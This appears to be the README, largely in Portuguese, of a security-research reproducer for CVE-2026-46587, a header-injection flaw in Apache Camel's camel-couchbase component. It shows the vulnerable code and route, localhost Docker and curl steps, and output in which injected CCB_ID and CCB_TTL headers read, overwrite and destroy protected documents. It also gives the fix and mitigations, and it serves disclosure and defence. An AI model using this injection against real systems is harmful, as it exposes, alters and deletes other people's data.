
Reproducer for CVE-2026-46587: Apache Camel camel-couchbase CCB_* header injection enabling document disclosure, tampering, and TTL-forced data destruction (fixed in 4.14.8/4.18.3/4.21.0)
CCB_* Reprodutor de Injeção de Cabeçalho (CVE-2026-46587)Este projeto demonstra uma injeção de cabeçalho de mensagem no componente camel-couchbase do Apache Camel, rastreada como CVE-2026-46587. O componente lê vários cabeçalhos Exchange para controlar seu comportamento — CCB_KEY (chave do documento), CCB_ID (id do documento), CCB_TTL (expiração do documento), CCB_DDN (nome do documento de design) e CCB_VN (nome da view). Os valores string dessas constantes de cabeçalho (definidas em CouchbaseConstants) são nomes simples sem prefixo, ao contrário dos nomes prefixados Camel que todos os outros componentes usam (ex.: CamelSqlQuery). O HttpHeaderFilterStrategy de entrada do Camel bloqueia apenas nomes de cabeçalho que começam com Camel / camel, então esses nomes passam pelo filtro de entrada inalterados. Quando uma rota expõe um ponto de entrada HTTP (por exemplo platform-http) na frente de um produtor couchbase, um cliente HTTP não confiável pode definir esses cabeçalhos diretamente e substituir o id do documento, TTL, nome do documento de design ou nome da view que o autor da rota configurou.
Este PoC demonstra três impactos distintos da única falha:
CCB_ID injetado lê um documento fora do escopo do chamador.CCB_ID injetado em uma gravação sobrescreve um documento protegido.CCB_TTL=1 injetado força o próprio documento do chamador a se autodestruir silenciosamente.Advisory: https://camel.apache.org/security/CVE-2026-46587.html
Mesma família de injeção de cabeçalho que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 e CVE-2026-47323. A correção compartilha seu PR com o aviso irmão CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
A correção (4.14.8 / 4.18.3 / 4.21.0) renomeia os valores dos cabeçalhos para a convenção Camel — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — de modo que são bloqueados pelo HttpHeaderFilterStrategy de entrada como todos os outros cabeçalhos de controle Camel. Os nomes dos campos constantes Java não são alterados.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
A rota define o id do documento como o rascunho próprio do chamador e, como endurecimento documentado, remove o namespace de cabeçalhos de controle Camel na borda. Isso não ajuda: os cabeçalhos de substituição são nomeados CCB_ID / CCB_TTL, não CamelCouchbaseId / CamelCouchbaseTtl, então não são removidos nem por removeHeaders("Camel*") nem pelo filtro de cabeçalho HTTP embutido — e o produtor os honra.
O banco de dados é pré-povoado com dois documentos: user-draft (próprio do chamador) e system-config (um documento sensível que o endpoint nunca deve expor).
A vítima são as rotas Camel e seu banco de dados Couchbase; o atacante é um cliente HTTP não autenticado que apenas define cabeçalhos de requisição. Um pequeno harness SDK semeia e lê documentos para verificação, independentemente da rota vulnerável.
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + provisionador único + o app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / ids dos documentos
│ ├── CouchbaseHarness.java # harness SDK: semeia + lê docs para verificação
│ ├── VictimRoute.java # platform-http:/save e /fetch -> produtor couchbase
│ └── ExploitController.java # atacante: requisições HTTP com cabeçalhos CCB_ID / CCB_TTL injetados
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisionador -> app (primeira inicialização baixa ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
O arquivo compose inicializa um cluster Couchbase de nó único (apenas KV), cria o bucket
mybuckete umappuser, então inicia o app. Um alias de rede com pontos (couchbase.cve.local) é usado como hostname do nó porque o Couchbase rejeita hostnames curtos.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
Qualquer rota com um produtor couchbase acessível a partir de um consumidor HTTP. Cabeçalhos injetáveis: CCB_ID / CCB_KEY (id/chave do documento → ler, sobrescrever ou excluir documentos arbitrários), CCB_TTL (expiração forçada → perda de dados) e, no lado do consumidor, CCB_DDN / CCB_VN (nomes do documento de design e da view).
Atualize para 4.14.8 / 4.18.3 / 4.21.0 (PR de aviso #23228). Após a correção, os cabeçalhos de substituição carregam o prefixo Camel (CamelCouchbaseId, CamelCouchbaseTtl, …) e são filtrados no limite HTTP como todos os outros cabeçalhos de controle.
Até a atualização, remova os cabeçalhos afetados de mensagens de entrada não confiáveis antes que cheguem ao produtor, ex.: .removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") e .removeHeader("CCB_VN") na frente do endpoint couchbase, ou aplique uma HeaderFilterStrategy personalizada que bloqueie esses nomes.
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada e corrigida publicamente. Não o use contra sistemas sem permissão explícita.
| Propriedade | Valor |
|---|
| Componente | camel-couchbase |
| Classe Afetada | org.apache.camel.component.couchbase.CouchbaseProducer lendo CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), etc. |
| CWE | CWE-20: Validação de Entrada Incorreta |
| Impacto | Um cliente HTTP define cabeçalhos CCB_* → substitui id do documento / TTL / doc de design / view → divulgação, adulteração, perda de dados |
| Pré-condições | Uma rota expõe um produtor couchbase atrás de um consumidor HTTP (ex.: platform-http); não autenticado quando o consumidor é |
| Versões Afetadas | De 4.0.0 antes de 4.14.8, de 4.15.0 antes de 4.18.3, de 4.19.0 antes de 4.21.0 |
| Versões Corrigidas | 4.14.8, 4.18.3, 4.21.0 |
| Correção | PR apache/camel#23228 (main), backportado via #23230 (4.18.x) / #23231 (4.14.x) |
| Crédito | Yu Bao (PayPal) |